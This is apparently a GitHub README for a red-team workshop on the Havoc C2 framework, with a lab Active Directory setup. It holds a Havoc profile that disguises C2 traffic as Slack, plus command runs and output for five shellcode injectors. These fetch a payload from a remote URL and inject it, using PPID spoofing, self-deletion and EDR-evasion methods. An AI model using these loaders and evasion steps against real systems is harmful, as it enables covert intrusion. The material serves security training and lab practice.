Red Team Ops: Havoc 101

Learn how to compromise an Active Directory Infrastructure by simulating adversarial Tactics, Techniques and Procedures (TTPs) using Havoc Framework.

Agenda

Chapter 1: Intro to C2

Basic Functionalities of Havoc
Malleable C2 Profile
C2 Infrastructure Design

Chapter 2: OPSEC & Evasion

Built-In Evasion Mechanism of Havoc
AV Evasion (Custom Injector)
EDR Bypass
Post-Exploitation Defense Evasion

Chapter 3: Active Directory

Blogpost by @pikaroot

Local Privilege Escalation
Kerberos Attacks
Lateral Movement
Pivoting

Lab Setup

Virtual Machine	Username	Password	RAM	Storage	Note	Used In (Chapter)	Download Link
Attacker Linux	havoc	havoc	4 GB	18 GB	Semi-Mandatory	1, 2, 3	OneDrive
Attacker Windows	Havoc	havoc	4 GB	25 GB	Mandatory	1, 2	OneDrive
Redirector	redirector	havoc	1 GB	5 GB	Optional	1, 2	OneDrive
Domain Controller	-	-	2 GB	15 GB	Mandatory	3	OneDrive
Workstation 1	-	-	1 GB	15 GB	Mandatory	3	OneDrive
Workstation 2	-	-	1 GB	15 GB	Mandatory	3	OneDrive

Chapter 1: Intro to C2

C2 Malleable Profile

Teamserver {
	Host = "0.0.0.0"
	Port = 40056

	Build {
	    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
	    Nasm = "/usr/bin/nasm"
	}
}

WebHook {
    Discord {
        # WEBHOOK TOKEN HERE
        Url = ""

        AvatarUrl = "https://raw.githubusercontent.com/HavocFramework/Havoc/main/Assets/Havoc.png"

        User = "Havoc"
    }
}

Operators {
	user "5pider" {
		Password = "password"
	}

	user "havoc" {
		Password = "password"
	}
}

Listeners {
    Http {
        Name         = "HTTP"
        Hosts        = [
            "192.168.231.131", # CHANGE TO TEAM SERVER IP
        ]
        HostBind     = "192.168.231.131" # CHANGE TO TEAM SERVER IP
        HostRotation = "round-robin"
        Port         = 80
        Secure       = false
        UserAgent    = "Slack/415620 CFNetwork/1240.0.4 Darwin/20.5.0"

        Headers = [
            "Host: msdevchat.slack.com",
            "X-Via: haproxy-www-w6k7",
            "X-Slack-Req-Id: 6319165c-f976-4d0666532",
            "X-Slack-Backend: h",
        ]
    }

    Http {
        Name         = "HTTPS"
        Hosts        = [
            "192.168.231.129", # CHANGE TO REDIRECTOR IP
        ]
        HostBind     = "0.0.0.0" # DO NOT CHANGE
        HostRotation = "round-robin"
        Port         = 443
        Secure       = true
        UserAgent    = "Slack/415620 CFNetwork/1240.0.4 Darwin/20.5.0"

        Headers = [
            "Host: msdevchat.slack.com",
            "X-Via: haproxy-www-w6k7",
            "X-Slack-Req-Id: 6319165c-f976-4d0666532",
            "X-Slack-Backend: h",
        ]
    }

    Smb {
        Name     = "SMB"
        PipeName = "ntsvcs"
    }
}

Demon {
    Sleep = 5

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

C2 Infrastructure Design

[Redirector] [Stager]

Chapter 2: OPSEC & Evasion

Runner

Runner is the 1st out of 5 Proof-of-Concept Process Injectors that takes an arbitrary shellcode from a remote URL and perform shellcode injection on a sacrificial process notepad.exe using Win32 API calls. It also supports Parent Process ID (PPID) Spoofing, allowing the sacrificial process to spawn under an arbitrary process using it's PID. If the target -t, --target is not specified, it will perform self-injection instead.

OPSEC Tips: Allocating RWX region is a major outlier for detection as programs will rarely have memory region of RWX. Always allocate RW then flip it to RX.

C:\>Runner.exe -u http://192.168.231.128:9090/demon.bin -t notepad -p 4160 -k

                 /\
                ( ;`~v/~~~ ;._
             ,/'"/^) ' < o\  '".~'\\\--,
           ,/",/W  u '`. ~  >,._..,   )'
          ,/'  w  ,U^v  ;//^)/')/^\;~)'
       ,/"'/   W` ^v  W |;         )/'
     ;''  |  v' v`" W }  \\
    "    .'\    v  `v/^W,) '\)\.)\/)
             `\   ,/,)'   ''')/^"-;'
                  \
                ".
               \    Runner
               
Process Injector 1: Runner (Win32 API)

  -u, --url      Required. Remote URL address for raw shellcode.

  -t, --target   Specify the target/victim process. Default: Self-injection

  -p, --parent   Spoof victim process under a Parent Process ID (This option is ignored for self-injection)

  -k, --kill     Enable self-destruct to auto wipe file from disk.

  -h, --help     Display help screen manual.
  
|--------------
| Payload       : http://192.168.231.128:9090/demon.bin
| Process       : C:\Windows\System32\notepad.exe
| PPID Spoofing : 4160
| Self Destruct : True
|--------------

[>] CreateProcessW()
    |-> Target Process Created!
    |-> PID: 12180

[>] Fetching Payload

[>] VirtualAllocEx()
    |-> Base Address: 0x15A89D70000

[>] WriteProcessMemory()
    |-> Shellcode Injected!

[>] VirtualProtectEx()
    |-> Flipping Memory Protection!

[>] CreateRemoteThread()
    |-> Shellcode Executed!

[>] DeleteProcThreadAttributeList()
    |-> Deleting Process Artifacts!

[>] CloseHandle()
    |-> Closing Process Handle!

[>] CloseHandle()
    |-> Closing Thread Handle!

[>] Runner.exe removed from disk!

Stalker

Stalker is a Proof-of-Concept loader for code injection using NT*API calls to defeat Kernel32 API Monitoring. All Win32 APIs are mapped to the respective NT level API as follows:

Win32 API	NT*API
VirtualAllocEx	NtAllocateVirtualMemory
WriteProcessMemory	NtWriteVirtualMemory
VirtualProtectEx	NtProtectVirtualMemory
CreateRemoteThread	NtCreateThreadEx

C:\>Stalker.exe -u http://192.168.231.128:9090/demon.bin -t notepad -p 4160 -k

     j                       k
    .K                       Z.
    jM.                     .Mk
    WMk                     jMW
    YMM.       ,,,,,,      .MMY
    `MML;:''```      ```':;JMM'
    /`JMMMk.           .jMMMk'\
    / `GMMMI'         `IMMMO' \
   /    ~~~'           `~~~    \
   /                           \
   |                           |
   |      ;,           ,;      |
   |      Tk           jT      |
    |     `Mk   . .   jM'     |
    |      YK.   Y   .ZY      |
     \     `Kk   |   jZ'     /
     \       `'  |  `'       /
      \          |          /
       \         |         /
       \         |         /
        \        |        /
         \       |       /
         \       |       /
          \      |      /
           \     |     /
           \  |  |  |  /
            \ {| | |} /
             \ ` | ' /
              \  |  /
              \  |  /
               \   /
                \ /
                 ~   Stalker
                    
Process Injector 2: Stalker (Nt*API)

  -u, --url      Required. Remote URL address for raw shellcode.

  -t, --target   Specify the target/victim process. Default: Self-injection

  -p, --parent   Spoof victim process under a Parent Process ID (This option is ignored for self-injection)

  -k, --kill     Enable self-destruct to auto wipe file from disk.

  -h, --help     Display help screen manual.
  
|--------------
| Payload       : http://192.168.231.128:9090/demon.bin
| Process       : C:\Windows\System32\notepad.exe
| PPID Spoofing : 4160
| Self Destruct : True
|--------------

[>] CreateProcessW()
    |-> Target Process Created!
    |-> PID: 13092

[>] Fetching Payload
    |-> Payload retrieved successfully!

[>] NtAllocateVirtualMemory()
    |-> Base Address: 0x23229800000

[>] NtWriteVirtualMemory()
    |-> Shellcode Injected!

[>] NtProtectVirtualMemory()
    |-> Flipping Memory Protection!

[>] NtCreateThreadEx()
    |-> Shellcode Executed!

[>] DeleteProcThreadAttributeList()
    |-> Deleting Process Artifacts!

[>] CloseHandle()
    |-> Closing Process Handle!

[>] CloseHandle()
    |-> Closing Thread Handle!

[>] Stalker.exe removed from disk!

SylantStrike

Home-made Endpoint Detection & Response (EDR) to hook NT*API calls. The hooking logic is not implemented perfectly and has a high chance of false positive. Use only for demonstrating EDR bypass. (Credit to @CCob)

PS C:\Users\havoc\Desktop\Tools\SylantStrike\x64\Release> .\SylantStrikeInject.exe --process=Stalker.exe --dll=C:\Users\havoc\Desktop\Tools\SylantStrike\x64\Release\SylantStrike.dll
Waiting for process events
+ Listening for the following processes: stalker.exe

Injecting process Stalker.exe(4312) with DLL C:\Users\havoc\Desktop\Tools\SylantStrike\x64\Release\SylantStrike.dll

Clicker

Clicker is a wrapper used to side-load Stalker for demonstrating Process Mitigation Policy. This technique prevents security vendors from reflectively loading EDR DLLs that are not digitally signed by Microsoft. As a result, kernel32.dll and ntdll.dll of newly spawned processes will not be hooked by EDR vendors unless they have Intermediate Certificates handed out by Microsoft.

C:\>Clicker.exe -f ./Stalker.exe -p 4160 -u http://192.168.231.128:9090/demon.bin -t notepad -s 4160

   .:'                                  `:.
  ::'                                    `::
 :: :.                                  .: ::
  `:. `:.             .             .:'  .:'
   `::. `::           !           ::' .::'
       `::.`::.    .' ! `.    .::'.::'
         `:.  `::::'':!:``::::'   ::'
         :'*:::.  .:' ! `:.  .:::*`:
        :: HHH::.   ` ! '   .::HHH ::
       ::: `H TH::.  `!'  .::HT H' :::
       ::..  `THHH:`:   :':HHHT'  ..::
       `::      `T: `. .' :T'      ::'
         `:. .   :         :   . .:'
           `::'               `::'
             :'  .`.  .  .'.  `:
             :' ::.       .:: `:
             :' `:::     :::' `:
              `.  ``     ''  .'
               :`...........':
               ` :`.     .': '
                `:  `"""'  :'   Clicker

Process Injector 3 (Wrapper): Clicker (Process Mitigation Policy)

  -f, --file       Required. Absolute path of file to be executed.

  -p, --parent     Required. Spoof --file under a Parent Process ID.

  -u, --url        Required. Remote URL address for raw shellcode.

  -t, --target     Specify the target/victim process. Default: Self-injection

  -s, --spoof      Spoof --target under a Parent Process ID.

  -h, --help       Display help screen manual.
  
|--------------
| File          : ./Stalker.exe
| PPID Spoofing : 4160
| Argument 1    : http://192.168.231.128:9090/demon.bin
| Argument 2    : notepad
| Argument 3    : 4160
|--------------

[>] CreateProcessW()
    |-> Process Mitigation Policy Enforced!
    |-> Spoofed Parent PID Successfully!
    |-> Target Process Created!
    |-> PID: 19520

Bloater

Bloater is the successor of Stalker as it uses the same boilerplate to perform process injection. At runtime, a fresh copy of ntdll.dll is loaded into the process. The original ntdll.dll that was hooked by EDR is left untouched. All NT*API are exported and called from the clean copy of ntdll.dll instead. This EDR evasion method is especially effective because the integrity of EDR hooks are not tampered with.

C:\>Bloater.exe -u http://192.168.231.128:9090/demon.bin -t notepad -p 4160 -k
                                                                    _
                                                                  _( (~\
           _ _                        /                          ( \> > \
       -/~/ / ~\                     :;                \       _  > /(~\/
      || | | /\ ;\                   |l      _____     |;     ( \/    > >
      _\\)\)\)/ ;;;                  `8o __-~     ~\   d|      \      //
     ///(())(__/~;;\                  "88p;.  -. _\_;.oP        (_._/ /
    (((__   __ \\   \                  `>,% (\  (\./)8"         ;:'  i
    )))--`.'-- (( ;,8 \               ,;%%%:  ./V^^^V'          ;.   ;.
    ((\   |   /)) .,88  `: ..,,;;;;,-::::::'_::\   ||\         ;[8:   ;
     )|  ~-~  |(|(888; ..``'::::8888oooooo.  :\`^^^/,,~--._    |88::  |
     |\ -===- /|  \8;; ``:.      oo.8888888888:`((( o.ooo8888Oo;:;:'  |
     |_~-___-~_|   `-\.   `        `o`88888888b` )) 888b88888P""'     ;
     ; ~~~~;~~         "`--_`.       b`888888888;(.,"888b888"  ..::;-'
       ;      ;              ~"-....  b`8888888:::::.`8888. .:;;;''
          ;    ;                 `:::. `:::OOO:::::::.`OO' ;;;''
     :       ;                     `.      "``::::::''    .'
        ;                           `.   \_              /
      ;       ;                       +:   ~~--  `:'  -';
                                       `:         : .::/    Bloater
          ;                            ;;+_  :::. :..;;;
                                       ;;;;;;,;;;;;;;;,;

Process Injector 4: Bloater (Manual Mapping ntdll.dll)

  -u, --url      Required. Remote URL address for raw shellcode.

  -t, --target   Specify the target/victim process. Default: Self-injection

  -p, --parent   Spoof victim process under a Parent Process ID (This option is ignored for self-injection)

  -k, --kill     Enable self-destruct to auto wipe file from disk.

  -h, --help     Display help screen manual.

|--------------
| Payload       : http://192.168.231.128:9090/demon.bin
| Process       : C:\Windows\System32\notepad.exe
| PPID Spoofing : 4160
| Self Destruct : True
|--------------

[>] Resolving Addresses of ntdll.dll
    |-> Original ntdll.dll: 0x7ff856c10000
    |-> New copy of ntdll.dll: 0x1a068730000
    
[>] CreateProcessW()
    |-> Target Process Created!
    |-> PID: 9168

[>] Fetching Payload
    |-> Payload retrieved successfully!

[>] NtAllocateVirtualMemory()
    |-> Base Address: 0x28D20A30000

[>] NtWriteVirtualMemory()
    |-> Shellcode Injected!

[>] NtProtectVirtualMemory()
    |-> Flipping Memory Protection!

[>] NtCreateThreadEx()
    |-> Shellcode Executed!

[>] DeleteProcThreadAttributeList()
    |-> Deleting Process Artifacts!

[>] CloseHandle()
    |-> Closing Process Handle!

[>] CloseHandle()
    |-> Closing Thread Handle!

[>] Bloater.exe removed from disk!

RatKing

RatKing is an adapted version of Bloater on steroids, written in Rust. The intention is to make Reverse Engineering significantly harder.

NOTE: RatKing does not support HTTPS payload download and PPID spoofing. Additionally, target process has to be opened manually prior to running RatKing. --target must be exact match.

C:\>RatKing.exe --url http://192.168.231.128:9090/demon.bin --target notepad.exe

              .'''''-,              ,-`````.
              `-.._  |              |  _..-'
                 \    `,          ,'    /
                 '=   ,/          \,   =`
                 '=   (            )   =`
                .\    /            \    /.
               /  `,.'              `.,'  \
               \   `.                ,'   /
                \    \              /    /
                 \   .`.  __.---. ,`.   /
                  \.' .'``        `. `./
                   \.'  -'''-..     `./
                   /  /        '.      \
                  /  / .--  .-'''`      '.
                 '   |    ,---.    _      \
     /``-----._.-.   \   / ,-. '-'   '.   .-._.-----``\
     \__ .     | :    `.' ((O))   ,-.  \  : |     . __/
      `.  '-...\_`     |   '-'   ((O)) |  '_/...-`  .'
 .----..)    `    \     \      /  '-'  / /    '    (..----.
(o      `.  /      \     \    /\     .' /      \  .'      o)
 ```---..   `.     /`.    '--'  '---' .'\     .'   ..---```
         `-.  `.  /`.  `.           .' .'\  .'  .-'
            `..` /   `.'  ` - - - ' `.'   \ '..'
                /    /                \    \
               /   ,'                  `.   \
               \  ,'`.                .'`.  /
                `/    \              /    \'
                 ,=   (              )   =,
                 ,=   '\            /`   =,
   RatKing       /    .'            `.    \
              .-'''  |                |  ```-.
              `......'                `......'

[>] Scanning for notepad.exe...
    |-> Found process!
    |-> PID: 11588

[>] Fetching Payload!
    |-> URL: http://192.168.231.128:9090/demon.bin

[>] Resolving Addresses of ntdll.dll
    |-> Original ntdll.dll: 0x7FF856C10000
    |-> New copy of ntdll.dll: 0x1869DB30000

[>] NtAllocateVirtualMemory()
    |-> Base Address: 0x1ED3C1F0000

[>] NtWriteVirtualMemory()
    |-> Shellcode Injected!

[>] NtProtectVirtualMemory()
    |-> Flipping Memory Protection!

[>] NtCreateThreadEx()
    |-> Shellcode Executed!

Chapter 3: Active Directory

Before we start, please ensure the Automatic Sample Submission in Windows Defender AV is disabled and Real-Time Protection is up and running.

Active Directory Network Diagram

Active Directory Network Addresses

DC01
- Secure Network
  - Static IPv4: 10.10.101.131
  - Subnet Mask: 255.255.255.0
  - Default Gateway: 10.10.101.1
  - Preferred DNS: 127.0.0.1
  - Alternate DNS: 8.8.8.8
WORKSTATION-01
- External Network
  - Dynamic IPv4: 192.168.25.xxx (DHCP will assign)
  - Subnet Mask: auto-assigned
  - Default Gateway: auto-assigned
  - Preferred DNS: auto-assigned
  - Alternate DNS: auto-assigned
- Internal Network
  - Static IPv4: 10.10.100.128
  - Subnet Mask: 255.255.255.0
  - Default Gateway:
  - Preferred DNS: 10.10.100.129
  - Alternate DNS: 8.8.8.8
- Secure Network
  - Static IPv4: 10.10.101.129
  - Subnet Mask: 255.255.255.0
  - Default Gateway: 10.10.101.1
  - Preferred DNS: 10.10.101.131
  - Alternate DNS: 8.8.8.8
WORKSTATION-02
- Internal Network
  - Static IPv4: 10.10.100.129
  - Subnet Mask: 255.255.255.0
  - Default Gateway:
  - Preferred DNS: 10.10.100.128
  - Alternate DNS: 8.8.8.8
- Secure Network
  - Static IPv4: 10.10.101.132
  - Subnet Mask: 255.255.255.0
  - Default Gateway: 10.10.101.1
  - Preferred DNS: 10.10.101.131
  - Alternate DNS: 8.8.8.8

Active Directory Users and Computers

First Name	Last Name	Username	Password	Group	Involvement
		administrator	`P@$$w0rd!`	Domain Admins	*
Aaron	Adams	a.adams	`C0nc0Rd1776!`	Senior Management, Domain Admins
Jonathan	Taylor	j.taylor	`Lexington1776!`	IT Admins, Administrators
Jillian	Anthony	j.anthony	`H1dD3nV4ll3y!`	Engineering
Tabitha	Carter	t.carter	`AhArGuY5Nm7U3!@`	Engineering
Megan	Phillips	m.phillips	`L4k3LiV3L0ve!`	Engineering, Group Policy Creator Owners
Richard	Smith	r.smith	`Baseball123!`	Engineering
Samantha	Chisholm	s.chisholm	`FallOutBoy1!`	Sales	*
Margaret	Seitz	m.seitz	`Phi11i35@44`	Engineering	*
Aaron	Tarolli	a.tarolli	`Password123!`	Sales	*
Zane	Dickens	z.dickens	`M0t0rH3Ad65^$#`	Sales

Machines	Local Admin	Domain Users
WORKSTATION-01.havoc.local	s.chisholm	m.seitz, a.tarolli
WORKSTATION-02.havoc.local	m.seitz
DC01.havoc.local	administrator

Active Directory Flag Details

Flag Format: HAVOC{MD5}
Flag Amount: 3
Flag Location: \\COMPUTER-NAME\C$\Users\localadmin-or-administrator\Desktop\flag.txt

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Repository files navigation

Red Team Ops: Havoc 101

Agenda

Chapter 1: Intro to C2

Chapter 2: OPSEC & Evasion

Chapter 3: Active Directory

Lab Setup

Chapter 1: Intro to C2

C2 Malleable Profile

C2 Infrastructure Design

[Redirector] [Stager]

Chapter 2: OPSEC & Evasion

Runner

Stalker

SylantStrike

Clicker

Bloater

RatKing

Chapter 3: Active Directory

Active Directory Network Diagram

Active Directory Network Addresses

Active Directory Users and Computers

Active Directory Flag Details

About

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Name		Name	Last commit message	Last commit date
Latest commit History 123 Commits
Bloater		Bloater
Clicker		Clicker
RatKing		RatKing
Runner		Runner
ServiceExec		ServiceExec
Stalker		Stalker
SylantStrike		SylantStrike
assets		assets
HAVOC-Workshop-Slides.pptx		HAVOC-Workshop-Slides.pptx
README.md		README.md
slack.yaotl		slack.yaotl

WesleyWong420/RedTeamOps-Havoc-101

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Red Team Ops: Havoc 101

Agenda

Chapter 1: Intro to C2

Chapter 2: OPSEC & Evasion

Chapter 3: Active Directory

Lab Setup

Chapter 1: Intro to C2

C2 Malleable Profile

C2 Infrastructure Design

[Redirector] [Stager]

Chapter 2: OPSEC & Evasion

Runner

Stalker

SylantStrike

Clicker

Bloater

RatKing

Chapter 3: Active Directory

Active Directory Network Diagram

Active Directory Network Addresses

Active Directory Users and Computers

Active Directory Flag Details

About

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